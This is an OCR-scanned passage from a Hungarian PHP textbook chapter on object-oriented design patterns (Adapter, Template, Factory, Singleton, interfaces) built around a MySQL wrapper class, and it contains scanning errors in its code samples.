Destruktor létrehozása a legtöbb esetben nem szükséges, mert a PHP a kérelmek végén felszabadítja az erőforrásokat. A hosszú ideig futó vagy nagy számú állományt megnyitó programok esetében az aggresszív takarítás elengedhetetlen.

40

PHP fejlesztés felsőfokon

A PHP4-ben valamennyi objektum érték szerint adódik át. Tegyük fel például, hogy a PHP4-ben az alábbi kódot hajtjuk végre: $obj = new TestClass; $copy = $obj; Az érték szerinti átadás azt jelenti, hogy ebben az esetben három példányt készítünk az osztályból: egyet a konstruktorban, egyet a konstruktőr visszatérési értékének a $obj-hez való rendelésekor, és egyet akkor, amikor a $obj-t a $copy-hoz rendeljük. Vagyis a jelentés teljesen más, mint a többi objektumközpontú nyelvben - ezért a PHP5 meg is változtatta. A PHP5-ben az objektumok létrehozásakor egy leírót (handlé) kapunk az objektumhoz, ami fogalmilag megegyezik a C++ hivatkozásaival (reference). Ha a fenti kódot a PHP5ben hajtjuk végre, az objektumból csak egy példány keletkezik, másolatok nem. Ha egy objektumot ténylegesen másolni szeretnénk a PHP5-ben, a beépített_______ clone () tagfüggvényt kell használnunk. Ahhoz, hogy a fenti példában szereplő $copy valóban a $obj másolata legyen (nem pedig csak hivatkozás az egyetlen létező objektumra), a következőt kell tennünk: $obj = new TestClass; $copy = $obj->___ clone (); Egyes osztályok esetében a mélymásolást végző beépített_____ clone () tagfüggvény nem biztos, hogy megfelel a céljainknak, ezért a PHP megengedi annak felülbírálását. A__ clone () metódusban nem csak a $this hivatkozást találjuk, ami az új objektumot jelöli, hanem a $that-et is, ami az eredetire mutat. Ha a fejezetben korábban meghatározott TestClass osztályban az alapértelmezett______ clone () tagfüggvényt használnánk, az azonosító (az id tulajdonság) is lemásolódna, ezért inkább írjuk át az osztályt, valahogy így: class TestClass { public static $counter = 0; public $id; public $other; public
{

function _____construct()

$this->id = self::$counter++; } public function __ clone() { $this->other = $that->other; $this->id = self::$counter++; } }

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

41

Rövid bevezetés a tervezési minták használatába
Valószínűleg hallottunk már a tervezési mintákról, de lehet hogy nem vagyunk tisztában mibenlétükkel. A tervezési minták olyan feladatokra nyújtanak általános megoldásokat, amelyekkel a szoftverfejlesztők gyakran találkoznak. Ha már jó ideje programozunk, valószínűleg szükség volt már rá, hogy egy könyvtárat képessé tegyünk arra, hogy egy másik API-n keresztül elérhető legyen. Ezzel nem vagyunk egyedül: az említett probléma általános, és bár nincs minden hasonló gondra általános érvényű megoldás, voltak, akik felismerték, hogy visszatérő problémával állunk szemben és a megoldási módszerek is ismétlődnek. A tervezési minták alapötlete, hogy a problémák és megoldásaik ismétlődő sémákat követnek. A tervezési minták jelentőségét sajnos gyakran elfedi a túlzott reklámozás. Én évekig mellőztem őket anélkül, hogy ténylegesen megvizsgáltam volna, mire jók. Feladataim egyedinek és összetettnek tűntek - úgy gondoltam, nem vehetők egy kalap alá az általános problémákkal. Ez igen rövidlátó hozzáállásnak bizonyult. A tervezési minták a problémák azonosítására és besorolására adnak szókincset. Az egyiptomi mitológiában az isteneknek és más hasonló lényeknek titkos neveik voltak, és ha ismertük ezeket, megidézhettük hatalmukat. A tervezési minták nagyon hasonlóak: ha felfedjük egy probléma lényegét és összevetjük hasonló (és megoldott) problémák egy ismert halmazával, máris közel kerülünk a megoldásához. Természetesen nem állíthatjuk, hogy a tervezési mintákról egyetlen fejezetben teljes képet lehet nyújtani. Itt csak néhány mintát tekintünk át, főként abból a célból, hogy a PHP-ben elérhető haladó szintű OO megoldásokat bemutassuk.

Az Illesztő minta
Az Illesztő (Adapter, Adaptor minta) célja, hogy egy objektumhoz egy adott felületen keresztül biztosítsunk hozzáférést. Egy tisztán objektumközpontú nyelvben az Illesztő mintával egy objektumhoz nyújtunk alternatív API-t, a PHP-ben viszont legtöbbször eljárások egy halmazához. Annak a képességnek a biztosítása, hogy egy osztályhoz egy adott API-n keresztül férhetünk hozzá, két okból lehet hasznos: • Ha több, azonos szolgáltatásokat nyújtó osztály ugyanazt az API-t valósítja meg, futás közben válthatunk közöttük. Ezt hívják többalakúságnak (polimorfizmusnak; a szó latin eredetű: a poli jelentése „sok, több", a morfé pedig „alak, forma"). • Egy objektumok halmazán műveleteket végző, előre elkészített keretrendszer módosítása nehéz lehet. Ha olyan, mások által készített osztályt kívánunk beépíteni, amely nem felel meg a keretrendszer által használt felületnek, a legegyszerűbben az Illesztő minta alkalmazásával biztosíthatjuk az elvárt API-n keresztüli hozzáférést.

42

PHP fejlesztés felsőfokon

Az illesztőket a PHP-ben leggyakrabban nem egy osztály elérését egy másikon keresztül biztosító alternatív felület nyújtására használjuk, mert a kereskedelmi PHP kódok száma korlátozott, a nyílt kódok felületét pedig közvetlenül módosíthatjuk. A PHP eljárásközpontú gyökerekkel rendelkező nyelv: a legtöbb beépített PHP-függvény ilyen jellegű. Amikor függvényeket sorban (szekvenciálisan) kell elérnünk (például ha egy adatbázis-lekérdezést készítünk, sorban a mysql_pconnect (), mysql_select_db (), mysql_query () és mysql_f etch () hívásása lehet szükség), általában egy erőforrásban gyűjtjük össze a kapcsolati adatokat, és ezt adjuk át valamennyi függvénynek. Ha a teljes folyamatot egy osztályba csomagoljuk, az ismétlődő munka jelentős részét, illetve a szükséges hibakezelést elrejthetjük. Az alapötlet az, hogy a két fő MySQL bővítmény-erőforrást (a kapcsolatot és az eredményt) egy objektumfelülettel burkoljuk be. A cél nem egy igazi elvont ábrázolás, csupán elegendő burkoló kód biztosítása az összes MySQL bővítményfüggvény objektumközpontú eléréséhez, hogy kényelmesebben tudjunk dolgozni. íme az első kísérletünk a burkoló osztályra: class DB_Mysql { protected $user; protected $pass; protected $dbhost; protected $dbname; protected $dbh;

// adatbázis-kapcsolati leíró {

public function______ construct($user, $pass, $dbhost, $dbname) $this->user = $user; $this->pass = $pass; $this->dbhost = $dbhost; $this->dbname = $dbname;
}

protected function connectO { $this->dbh = mysql_pconnect($this->dbhost, $this->user, $this->pass) ; if(!is_resource($this->dbh)) { throw new Exception;
}

if(imysql_select_db($this->dbname, $this->dbh)) { throw new Exception; } } public function execute($query) { if ( !$this->dbh) { $this->connect() ; } $ret = mysql_query($query, $this->dbh); if(!$ret) {

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

43

throw new Exception;
}

else if(!is_resource($ret) ) { return TRUB; } else { $stmt = new DB_MysqlStatement($this->dbh, $query); $stmt->result = $ret; return $stmt;
} } }

A fenti felület használatához csak létre kell hoznunk egy új DB_Mysql objektumot és példányosítani az elérni kívánt MySQL adatbázisba való belépéshez szükséges adatokkal (felhasználói név, jelszó, gépnév, adatbázis neve): $dbh = new DB_Mysql("testuser", "testpass", "localhost", $query = "SELECT * FROM users WHERE name = *• '".mysql_escape_string($name)."'"; $stmt = $dbh->execute($query); "t est db");

Ez a kód egy DB_MysqlStatement objektumot ad vissza, ami egy burkoló, amelynek megvalósítását a MySQL visszatérési érték erőforrás köré építjük: class DB_MysqlStatement { protected $result; public $query; protected $dbh; public function______ construct($dbh, $query) { $this->query = $query; $this->dbh = $dbh; if ( !is_resource($dbh)) { throw new Exception("Not a valid database connection") ;
} }

public function fetch_row() { if ( !$this->result) { throw new Exception("Query not executed");
}

return mysql_fetch_row($this->result); } public function fetch_assoc() { return mysql_fetch_assoc($this->result); } public function fetchall_assoc() { $retval = array();

44

PHP fejlesztés felsőfokon

while($row = $this->fetch_assoc()) $retval[] = $row;
}

{

return $retval;
} }

Ezután ahhoz, hogy a lekérdezésből a mysql_f etch_assoc () -hoz hasonlóan sorokat -• nyerjünk ki, ezt kell írnunk: while($row = $stmt->fetch_assoc()) // sor feldolgozása
}

{

A fenti megvalósítással kapcsolatban a következőket kell megjegyeznünk: • Segítségével elkerülhető, hogy magunknak kelljen meghívnunk a connect () és mysql_select_db () függvényeket. • Hiba esetén kivételt vált ki. A kivételek újdonságnak számítanak a PHP5-ben. Itt nem részletezzük őket, vagyis egyelőre nyugodtan figyelmen kívül hagyhatók, de a 3. fejezet második felét ennek a témának szenteljük majd. • Nem tette kényelmesebbé a munkát. Még mindig össze kell fűznünk az adatokat, ami igen zavaró, és a lekérdezések újrahasznosítására sincs egyszerű mód. A harmadik pontban említett probléma úgy oldható meg, ha kibővítjük a felületet, hogy a burkoló képes legyen automatikusan összefűzni a neki átadott adatokat. Ezt legegyszerűbben úgy érhetjük el, ha utánozzuk az előkészített lekérdezéseket. Amikor egy lekérdezést futtatunk egy adatbázison, az átadott nyers SQL-t olyan formára kell hozni, amit az adatbázis megért. Ez a lépés jelentős terhet ró a programra, ezért a legtöbb adatbázisrendszer megpróbálja átmenetileg tárolni az eredményeket. A felhasználó előkészíthet egy lekérdezést, aminek nyomán az adatbázis feldolgozza azt, és visszaad valamilyen erőforrást, ami a feldolgozott lekérdezés-ábrázoláshoz kapcsolódik. Ezzel gyakran jár együtt a bind SQL szolgáltatás. A bind SQL lehetővé teszi, hogy feldolgozzunk egy olyan lekérdezést, amelyben a változó adatok helyén helyőrzők állnak. Ezután hozzáköthetjük (bind) a paramétereket a lekérdezés feldolgozott változatához a végrehajtás előtt. A bind SQL használata számos adatbázis-rendszeren (különösen az Oracle rendszeren) jelentős teljesítménynövekedést eredményez. A MySQL 4.1 előtti változatai nem biztosítanak külön felületet a felhasználóknak a végrehajtás előtti lekérdezés-előkészítésre, és nem engedik meg a bind SQL használatát. Számunkra azonban az a pont, ahol egyenként átadjuk a folyamatnak a változó adatokat, kényelmes arra, hogy elfogjuk és összefűzzük őket, mielőtt a lekérdezésbe illesztenénk. A MySQL 4.1 új szolgáltatásának felületét Georg Richter mysqli bővítménye biztosítja.

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

45

Módosítanunk kell a DB_Mysql-t, hogy tartalmazza a prepare (előkészít) tagfüggvényt, a DB_MysqlStatement-et pedig ki kell egészítenünk a bind és execute (végrehajt) tagfüggvényekkel: class DB_Mysql { /* ... */ public function prepare($query) if(!$this->dbh) { $this->connect();
}

{

return new DB_MysqlStatement($this->dbh,
} }

$query);

class DB_MysqlStatement { public $result; public $binds; public $query; public $dbh; /* ... */ public function execute() { $binds = func_get_args(); foreach($binds as $index => $name) { $this->binds[$index + 1] = $name;
}

$cnt = count($binds); $query = $this->query; foreach ($this->binds as $ph => $pv) { $query = str_replace(":$ph", *■ * ....... .mysql_escape_string ( $pv) . " ' " ,
}

$query) ;

$this->result = mysql_query($query, if(!$this->result) { throw new MysqlException;
}

$this->dbh);

return $this;
}

/* ... */
}

Itt a prepare () szinte semmit nem csinál, csak készít egy új DB_MysqlStatement objektumpéldányt a megadott lekérdezéssel. A tényleges munkát a DB_MysqlStatement-ben végezzük el. Ha nincsenek kapcsolt paramétereink, csak egy ilyen hívásra van szükség: $dbh = new DB_Mysql("testuser", "testpass", "localhost", "t est db"); $stmt = $dbh->prepare("SELECT * FROM users WHERE name = '".mysql_escape_string($name)."'"); $stmt->execute () ;

46

PHP fejlesztés felsőfokon

A burkoló osztály használatának igazi előnye a natív eljáráshívásokkal szemben akkor mutatkozik meg, amikor paramétereket kívánunk kapcsolni a lekérdezéshez. Ehhez helyőrzőket kell tennünk a lekérdezésbe, amelyeket a : jel vezet be; végrehajtáskor ide kapcsolhatjuk az adatokat: $dbh = new DB_Mysql("testuser", "testpass", "localhost", " t e s t d b " ) ; $stmt = $dbh->prepare("SELECT * FROM users WHERE name = :1"); $stmt->execute($name); A : 1 a lekérdezésben azt jelenti, hogy ez az első kapcsolt változó helye. Amikor meghívjuk a $stmt objektum execute () tagfüggvényét, az feldolgozza a neki átadott adatokat, az első kapcsolt változó értékéül az elsőnek kapott argumentumot ($name) adja, sorosítja és idézőjelbe teszi, majd behelyettesíti az első helyőrző (: 1) helyére. Bár ez a kapcsoló felület nem rendelkezik a bind felületek szokásos teljesítménynövelő hatásával, kényelmes módot ad a lekérdezés bemenő adatainak soros összefűzésére.

A Sablon minta
A Sablon minta (Template) egy olyan osztályt ír le, amely módosítja egy származtatott osztály logikáját, hogy teljesebbé tegye. Ezt a mintát arra használhatjuk, hogy az ősosztályokban szereplő valamennyi adatbáziskapcsolathoz szükséges paramétert elrejtsük magunk elől. Az előző részben látott osztály használatához mindig meg kell adnunk a kapcsolathoz szükséges paramétereket: <?php require_once

'DB.inc';

define('DB_MYSQL_PROD_USER', 'test'); define('DB_MYSQL_PROD_PASS', 'test'); define('DB_MYSQL_PROD_DBHOST', 'localhost'); define('DB_MYSQL_PROD_DBNAME', ' test ' ); $dbh = new DB::Mysql(DB_MYSQL_PROD_USER, DB_MYSQL_PROD_PASS, DB_MYSQL_PROD_DBHOST, DB_MYSQL_PROD_DBNAME); $stmt = $dbh->execute("SELECT n o w ( ) " ) ; print_r($stmt->fetch_row()); ?> Ahhoz, hogy ezt ne kelljen minden alkalommal megtennünk, származtathatunk egy osztályt a DB_Mysql-ből, és mereven belekódolhatjuk a test adatbázis paramétereit: class DB_Mysql_Test extends DB_Mysql { protected $user = "testuser"; protected $pass = "testpass";

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

47

protected $dbhost = "localhost"; protected $dbname = "test"; public function __ construct() { } }

Ugyanezt megtehetjük az üzemi kiszolgálón működő példány esetében is: class DB_Mysql_Prod extends DB_Mysql { protected $user = "produser"; protected $pass = "prodpass"; protected $dbhost = "prod.db.example.com"; protected $dbname = "prod";
public function___ construct() { } }

Többalakúság
A fejezetben kidolgozott adatbázis-burkolók meglehetősen általánosak. Valójában ha megnézzük a PHP-be beépített adatbázis-bővítményeket, mindben ugyanazokat a szolgáltatásokat találjuk - csatlakozás egy adatbázishoz, lekérdezések előkészítése és végrehajtása, az eredmények megjelenítése. Ha akarnánk, írhatnánk egy hasonló DB_Pgsql vagy DB_Oracle osztályt, amelyek a PostgreSQL és az Oracle könyvtárakat burkolják be, és alapvetően ugyanazok a tagfüggvények szerepelnének bennük. Ha nagyrészt ugyanazokkal a tagfüggvényekkel rendelkezünk, látszólag nem nyerünk semmit, mégis fontos a hasonló feladatot végrehajtó metódusoknak ugyanazt a nevet adni. Ez ugyanis lehetővé teszi a többalakúságot, ami annak a képessége, hogy észrevétlenül kicseréljünk egy objektumot egy másikra, ha elérési felületük megegyezik. A gyakorlatban a többalakúság azt jelenti, hogy ehhez hasonló függvényeket írhatunk: function show_entry($entry_id,
{

$dbh)

$query = "SELECT * FROM Entries WHERE entry_id = :1"; $stmt = $dbh->prepare($query)->execute($entry_id); $entry = $stmt->fetch_row(); // bejegyzés megjelenítése
}

Ez a függvény nem csak akkor működik, ha a $dbh egy DB_Mysql objektum, hanem mindaddig, amíg a $dbh megvalósítja a prepare () tagfüggvényt, és az egy olyan objektumot ad vissza, ami megvalósítja az execute () és f etch_assoc () metódusokat.

48

PHP fejlesztés felsőfokon

Ahhoz, hogy elkerüljük, hogy minden meghívott függvénynek át kelljen adnunk egy adatbázis objektumot, képviseletet (delegációt) alkalmazhatunk. A képviselet objektumközpontú fogalom, és azt jelenti, hogy egy objektum tulajdonságként egy másik objektummal rendelkezik, amelyet bizonyos feladatok végrehajtására használ. Az adatbázis-burkoló könyvtárak tökéletes példái a képviselő (vagy megbízott) osztálynak. Egy szokványos alkalmazásban számos osztály végez adatbázis-műveleteket, és ezen osztályokkal kapcsolatban két választási lehetőségünk van: • Valamennyi adatbázis-hívást natív módon valósítjuk meg - aminek semmi értelme, mert feleslegessé teszi az adatbázis-burkoló elkészítésébe fektetett munkát. • Az adatbázis-burkoló API-t használjuk, de menet közben példányosítjuk az objektumokat. Lássunk erre a megoldásra egy példát: class Weblog { public function show_entry($entry_id) { $query = "SELECT * FROM Entries WHERE entry_id = :1"; $dbh = new Mysql_Weblog(); $stmt = $dbh->prepare($query)->execute($entry_id); $entry = $stmt->fetch_row(); // bejegyzés megjelenítése
} }

A felszínen az adatbázis-kapcsolati objektumok menet közbeni példányosítása jó ötletnek tűnik - a burkoló könyvtárat használjuk, tehát minden rendben. A gond csak az, hogy ha meg kell változtatnunk az osztály által használt adatbázist, módosítanunk kell minden függvényt, amelyben kapcsolat létesül. • A Weblog osztályhoz tulajdonságként egy adatbázis-burkoló objektumot adva képviseletet valósítunk meg. Amikor az osztályt példányosítjuk, az létrehoz egy adatbázis-burkoló objektumot, és azt használja valamennyi kimeneti-bemeneti (I/O) műveletre, íme a Weblog új megvalósítása, ami ezt a megoldást alkalmazza: class Weblog { protected $dbh; public function setDB($dbh)
{

$this->dbh = $dbh;
}

public function show_entry($entry_id)
{

$query = "SELECT * FROM Entries WHERE entry_id = :1"; $stmt = $this->dbh->prepare($query)->execute($entry_id) ; $entry = $stmt->fetch_row(); // bejegyzés megjelenítése } }

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

49

Az adatbázist most már beállíthatjuk az objektum számára, mégpedig a következőképpen: $blog = new Weblog; $dbh = new Mysql_Weblog; $blog->setDB($dbh) ; Természetesen a Sablon mintát követve alkalmazhatunk egy sablont is az adatbázis-képviselő beállítására: class Weblog_Std extends Weblog { protected $dbh; public function ______construct()
{

$this->dbh = new Mysql_Weblog;
} }

$blog = new Weblog_Std; A képviselet minden olyan esetben hasznos, amikor egy bonyolult vagy egy osztályon belül valószínűleg változó szolgáltatást kell biztosítanunk. Emellett gyakran alkalmaznak képviseletet az olyan osztályokban is, amelyeknek kimenetet kell előállítaniuk. Ha a kimenet többféle módon (HTML, sima szöveg, RSS - ez utóbbi jelentése a válaszadó személyétől függően Rich Site Summary vagy Really Simple Syndication) is megjeleníthető, érdemes lehet bejegyezni egy képviselőt, amely képes a kívánt kimenetet előállítani. Felületek és típusjelzések A sikeres képviselet kulcsa, hogy biztosítsuk a szükséges osztályok többalakúságát. Ha a Weblog objektum számára $dbh paraméterként olyan osztályt adunk meg, amely nem valósítja meg a f etch_row () műveletet, futásidőben végzetes hiba lép fel. A futásidejű hibák észlelése meglehetősen nehéz, hacsak nem gondoskodunk róla magunk, hogy valamennyi objektum megvalósítsa az összes szükséges függvényt. Az ilyen jellegű hibák még időben történő elfogását segítendő a PHP5 bevezette a felületek (interfészek) fogalmát, h felület olyan, mint egy osztály csontváza. Akárhány tagfüggvényt megadhat, de kódot nem mellékel hozzájuk, csak egy prototípust, például a függvény argumentumait. Nézzük meg, hogyan fest egy alapvető felület (interf ace), ami leírja az adatbázis-kapcsolatokhoz szükséges tagfüggvényeket: interface DB_Connection { public function execute($query); public function prepare($query);
}

50

PHP fejlesztés felsőfokon

Míg az öröklésnél bővítünk egy osztályt, felület használatánál - mivel nincs meghatározott kód - egyszerűen „beleegyezünk", hogy úgy és azokat a függvényeket valósítjuk meg, amelyeket a felület megad. A DB_Mysql például a DB_Connection által megadott függvény-prototípusokhoz nyújt megvalósítást, ezért így vezethetjük be: class DB_Mysql implements DB_Connection { /* osztály-meghatározás */
}

Ha egy osztályt úgy vezetünk be, mintha egy felületet valósítana meg, pedig nem ez a helyzet, fordítási idejű hibát kapunk. Tegyük fel például, hogy létrehozunk egy DB_Foo nevű osztályt, amely egyetlen tagfüggvényt sem valósít meg:
<?php require "DB/Connection.inc"; class DB_Foo implements DB_Connection {} ?>

Az osztály futtatása a következő hibát eredményezi: Fatál error: Class db_foo contains 2 abstract methods and must be declared abstract (db connection::execute, db connection:: prepare) in /Users/george/Advanced PHP/examples/chapter-2/14.php on line 3 A PHP nem támogatja a többszörös öröklést, vagyis egy osztály nem származhat közvetlenül több osztálytól. Az alábbi például nyelvtanilag helytelen: class A extends B, C {} Mindazonáltal - mivel a felületek csak egy prototípust írnak le, nem pedig egy megvalósítást - egy osztály tetszőleges számú felületet valósíthat meg. Ez azt jelenti, hogy ha van egy A és egy B felületünk, egy C osztály mindkettőhöz nyújthat megvalósítást, valahogy így: <?php interface A { public function abba();
}

interface B { public function bar(); }

2. fejezet * Objektumközpontú programozás tervezési minták segítségével

51

class C implements A, B { public function abba() { // abba; } public function bar () < // bar; } } ?>

A felületek és osztályok között egyfajta köztes szintet képviselnek az elvont osztályok (absztrakt osztályok). Az elvont osztály tartalmazhat mind kidolgozott tagfüggvényeket (amelyeket örököl), mind elvont tagfüggvényeket (amelyeket a leszármaztatottaknak kell meghatározniuk). A következő példában egy A elvont osztályt láthatunk, ami teljes megvalósítást nyújt az abba () tagfüggvényhez, de a bar () -t elvontként határozza meg: abstract class A { public function abba()
{

// abba
}

abstract public function bar();
}

Mivel a bar () nincs teljesen kifejtve, nem példányosítható. Származtatni viszont lehet belőle, és amíg a leszármazott osztály A valamennyi elvont tagfüggvényét megvalósítja, készíthető belőle példány. B kibővíti (extends) A-t és megvalósítja a bar () -t, vagyis a példányosítás gond nélkül végrehajtható: class B extends A { public function bar()
{

$this->abba();
} }

$b = new B; Miután az elvont osztályok egyes tagfüggvényeikhez tényleges megvalósítást nyújtanak, az öröklés szempontjából osztályoknak számítanak. Ez azt jelenti, hogy egy osztály csak egyetlen elvont osztályt bővíthet. A felületek segítenek abban, nehogy lábon lőjük magunkat, amikor többalakúnak szánt osztályokat vezetünk be, de a képviseleti hibákat csak részben tudják megakadályozni.

52

PHP fejlesztés felsőfokon

Arra is képesnek kell lennünk, hogy biztosítsuk, hogy azok a függvények, amelyek egy adott felület megvalósításához egy bizonyos objektumot várnak, meg is kapják azt. Az ehhez szükséges számítást persze elvégezhetjük közvetlenül a kódban, „kézi módszerrel", az is_a () függvénnyel ellenőrizve az objektumok osztályát: function addDB($dbh)
{

if(!is_a($dbh, "DB_Connection")) { trigger_error("\$dbh is not a DB_Connection object", E_USER_ERROR);
}

$this->dbh = $dbh;
}

Ennek a módszernek két hátulütője van: • Ahhoz képest, hogy csak egy átadott paraméter típusát szeretnénk ellenőrizni, igen hosszú kódot igényel. • Nem része a függvény prototípus-deklarációjának, vagyis egy adott felületet megvalósító osztályban nem kényszeríthetünk ki ilyen paraméterellenőrzést. A PHP5 ezeket a hiányosságokat azzal orvosolta, hogy bevezette a típusellenőrzés, illetve típusjelzés (type hinting) lehetőségét a függvénydeklarációkban és a prototípusokban. Ha a szolgáltatást be szeretnénk kapcsolni egy függvény esetében, a következőképpen kell bevezetnünk: function addDB(DB_Connection $dbh) { $this->dbh = $dbh; } Ez a függvény pontosan ugyanúgy viselkedik, mint amit az előző példában láthattunk vagyis végzetes hibát vált ki, ha a $dbh nem a DB_Connection osztály példánya (akár közvetlenül, akár örökléssel vagy felület-megvalósítással).

A Gyár minta
A Gyár minta (Factory) szabványos módszert biztosít az osztályok számára, hogy más osztályba tartozó objektumokat hozzanak létre. Erre jellemzően akkor van szükség, amikor egy olyan függvénnyel rendelkezünk, amelynek a bemenő paraméterektől függően különböző osztályú objektumokat kell visszaadnia.

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

53

Amikor szolgáltatásokat egy másik adatbázisra viszünk át, az egyik legnagyobb kihívást az jelenti, hogy megtaláljuk mindazon helyeket, ahol a régi burkoló objektumot használjuk, illetve biztosítsuk az újat. Tegyük fel például, hogy egy jelentéskészítő adatbázissal rendelkezünk, ami egy Oracle adatbázisra támaszkodik, amit kizárólag a DB_Oracle_Reporting nevű osztályon keresztül érünk el: class DB_Oracle_Reporting extends DB_Oracle { /* ... */}

Mivel előrelátóak voltunk, a DB_Oracle a szabványos adatbázis-felületünket használja: class DB_Oracle implements DB_Connection { /* . . . */ } Amikor csak a jelentéskészítő adatbázis elérésére van szükség, ilyen burkolópéldányokkal rendelkezünk az alkalmazás kódjában elszórva: $dbh = new DB_Oracle_Reporting; Ha azt szeretnénk, hogy az adatbázis az új DB_Mysql_Reporting burkolót használja, meg kell keresnünk minden helyet, ahol a régi burkolót használjuk, és a következőképpen kell módosítanunk: $dbh = new DB_Mysql_Reporting; Ennél rugalmasabb megközelítés, ha valamennyi adatbázis objektumot egyetlen gyárral hozzuk létre. A gyár valahogy így nézhet ki: function DB_Connection_Factory($key)
{

switch($key) { case "Test" : return new DB_Mysql_Test; case "Prod": return new DB_Mysql_Prod; case "Weblog": return new DB_Pgsql_Weblog; case "Reporting": return new DB_Oracle_Reporting; default: return falsé;
} }

54

PHP fejlesztés felsőfokon

Ahelyett, hogy az objektumokat a new segítségével példányosítanánk, az alábbi kódot használhatjuk erre a célra:
$dbh = DB_Connection_factory("Reporting");

Ha ezután globálisan meg szeretnénk változtatni a kapcsolatok megvalósítását a jelentéskészítő felülettel, csak a gyárat kell módosítanunk.

Az Egyke minta
A PHP4 objektummodelljének leginkább kritizált tulajdonsága, hogy nagyon megnehezíti az egykék megvalósítását. Az Egyke minta (Singleton) egy olyan osztályt ír le, amelynek csak egyetlen globális példánya van. Az egykék számos helyen bizonyulnak természetes választásnak. A böngésző felhasználókhoz csak egyetlen sütihalmaz és egyetlen profil tartozik. Ehhez hasonlóan, egy HTTP kérelmeket (fejléccel, válaszkóddal stb.) beburkoló osztály kérelmenként csak egy példánnyal rendelkezik. Ha olyan adatbázis-illesztőprogramot használunk, amely nem támogatja a kapcsolatok megosztását, szintén felmerülhet egy egyke használata, amellyel biztosíthatjuk, hogy egy adatbázishoz egyszerre csak egy kapcsolat legyen megnyitva. A PHP5-ben számos módja van az egykék megvalósításának. Megtehetjük, hogy egy objektum valamennyi tulajdonságát egyszerűen static-ként vezetjük be, de így igen furcsa kódokat kell írnunk az objektum kezelésére, és ténylegesen soha nem használunk példányt az objektumból. íme egy egyszerű osztály, amely az Egyke mintát követi:
<?php class Singleton { static $property; public function __ construct() {} } Singleton::$property = "foo"; ?>

Mivel itt ténylegesen soha nem hozunk létre példányt a Singleton osztályból, nem adhatjuk át függvényeknek. Az egyik jó megoldás az egykék megvalósítására a PHP5-ben egy egykét létrehozó gyártófüggvény (gyártó metódus) használata. A gyártófüggvény privát hivatkozást tart fenn az osztály eredeti példányára, és kérés esetén visszaadja. Lássunk egy példát a Gyár mintára. A getlnstance () egy gyártófüggvény, amely a Singleton osztály egyetlen példányát adja vissza:
class Singleton { priváté static $instance = falsé; public $property;

2. fejezet * Objektumközpontú programozás tervezési minták segítségével

55

priváté function ______construct() {} public static function getlnstance()
{

if (self::$instance === falsé) { self::$instance = new Singleton;
}

return self::$instance;
} }

$a = Singleton::getlnstance(); $b = Singleton::getlnstance(); $a->property = "hello world"; print $b->property; A fenti kódot futtatva a "hello world" kimenetet kapjuk, ahogy egy egykétől várnánk. Megfigyelhetjük, hogy a konstruktőr tagfüggvényt priváte-ként vezettük be. Ez nem elírás: ha privát tagfüggvénnyé tesszük, a new Singleton utasítással nem hozhatunk létre belőle példányt, csak az osztály hatókörén belül. Ha a példányosításra az osztályon kívül teszünk kísérletet, végzetes hibát kapunk. Vannak, akik irtóznak a gyártófüggvényektől. Azon fejlesztőket kielégítendő, akik ilyen tüneteket mutatnak, a konstruktőrön keresztül létrehozott egykék számára rendelkezésre áll a__ get () és a____ set () művelet is: class Singleton { priváté static $props = array(); public function______ construct () public function _____ get($name)
{

{}

if (array_key_exists($name, self::$props)) { return self::$props[$name]; } }

public function _____set($name,
{

$value)

self::$props[$name] = $value; } } $a = new Singleton; $b = new Singleton; $a->property = "hello world"; print $b->property;

56

PHP fejlesztés felsőfokon

Ebben a példában az osztály valamennyi tulajdonságának értékét egy statikus tömbben tárolja. Amikor írás vagy olvasás céljából hozzáférünk valamelyik tulajdonsághoz, a___get és____ set eléréskezelők ebben a statikus tömbben keresnek, nem pedig az objektum belső tulajdonságtáblájában. Én nem viszolygok a gyártófüggvényektől, így gyakran fordulok hozzájuk. Az egykék viszonylag ritkák a programokban, így ha különleges módon kell példányosítani őket (egy hozzájuk tartozó gyáron keresztül), az csak megerősíti különbözőségüket. Emellett a privát konstruktőr alkalmazásával megakadályozhatjuk új tagok helytelen példányosítását az osztályból. A 6. fejezetben egy gyártófüggvénnyel egy ál-egykét hozunk létre, ahol az osztálynak egyedi paraméterenként lesz egyetlen globális példánya.

Túlterhelés
Most megpróbáljuk együtt hasznosítani a fejezetben eddig bemutatott megoldásokat, az eredményhalmazhoz pedig túlterheléssel objektumközpontúbb felületet biztosítunk. Azon programozók számára, akik megszokták a Java JDBC adatbázis-kapcsolati rétegének használatát, ismerős megközelítés lehet az összes eredmény egyetlen objektumban való tárolása. Egészen pontosan a következőt szeretnénk: $query = "SELECT name, email FROM users"; $dbh = new DB_Mysql_Test ; $stmt = $dbh->prepare($query)->execute(); $result = $stmt->fetch(); while($result->next()) { echó "<a href=\"mailto:$result->email\">$result->name</a>";
}

A kód vezérlési folyamata normális módon halad, amíg végre nem hajtottuk a lekérdezést. Ezután viszont ahelyett, hogy egyesével, társításos tömbként adnánk vissza a sorokat, elegánsabb, ha egy eredményobjektumot adunk vissza egy belső bejáróval, ami tárolja a már megvizsgált sorokat. Nem adunk meg külön eredménytípust minden adatbázis számára, amit a DB_Connection osztályokon keresztül támogatunk, ehelyett az utasítás osztályainak többalakúságát kihasználva egyetlen DB_Result osztályt hozunk létre, amely minden rendszerfüggő műveletét arra a DB_Statement objektumra ruházza át, amelyből létrejött.

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

57

A DB_Result-nak előre és visszafelé haladó bejáróval is rendelkeznie kell, illetve azzal a képességgel, hogy vissza tudja állítani a helyzetét az eredményhalmazban. Ez az eddig tanultak alapján könnyen megvalósítható. íme a DB_Result egy egyszerű megvalósítása: class DB_Result { protected $stmt; protected $result = array (); priváté $rowIndex = 0; priváté $currlndex = 0; priváté $done = falsé; public function______ construct(DB_Statement $stmt)
{

